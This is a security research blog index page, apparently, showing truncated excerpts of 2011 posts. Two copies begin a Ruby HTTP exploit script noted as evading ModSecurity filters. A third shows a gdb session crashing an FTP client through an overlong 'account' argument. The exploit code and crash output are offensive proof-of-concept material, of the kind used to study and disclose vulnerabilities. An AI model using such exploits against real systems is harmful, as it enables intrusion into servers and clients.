SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
2011-09-09
exploit:
!/usr/bin/env ruby
require 'net/http'
require 'uri'
ensure that we're getting a first argument and that it's a valid URI
abort("You must specify a hostname as the first argument.") if ARGV.first.nil?
abort("Invalid URI") unless uri = URI.parse(ARGV.first)
create our request object
req = Net::HTTP::Head.new(uri.request_uri)
http = Net::HTTP.new(uri.host, uri.port)
set custom headers
you might need to fiddle with these to get around your default modsec filters
req.delete("Accept")
req.delete("User-Agent")
req.add_field("Host", uri.host)
optional, add......
阅读全文 →
2011-09-09
exploit:
!/usr/bin/env ruby
require 'net/http'
require 'uri'
ensure that we're getting a first argument and that it's a valid URI
abort("You must specify a hostname as the first argument.") if ARGV.first.nil?
abort("Invalid URI") unless uri = URI.parse(ARGV.first)
create our request object
req = Net::HTTP::Head.new(uri.request_uri)
http = Net::HTTP.new(uri.host, uri.port)
set custom headers
you might need to fiddle with these to get around your default modsec filters
req.delete("Accept")
req.delete("User-Agent")
req.add_field("Host", uri.host)
optional, add......
阅读全文 →
2011-09-09
Ubuntu 11.04 x86:
(gdb) run 10.0.0.8
Starting program: /usr/bin/ftp 10.0.0.8
Connected to 10.0.0.8.
220 debianita FTP server ready.
Name (10.0.0.8:kron0): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user ftp@10.0.0.9 !
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
* buffer overflow detected *: /usr/bin/ftp terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x50)
/lib/i386-linux-gnu/libc.so.6(+0xe4cca)
/lib/i386-linux-gnu/libc.so.6(+0xe41ed)
/usr/bin/ftp
/usr/bin/ftp
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe7)
/usr/bin/ftp
======= Memory map: ========
00110000-0012c000 r-xp 00000000 08......
阅读全文 →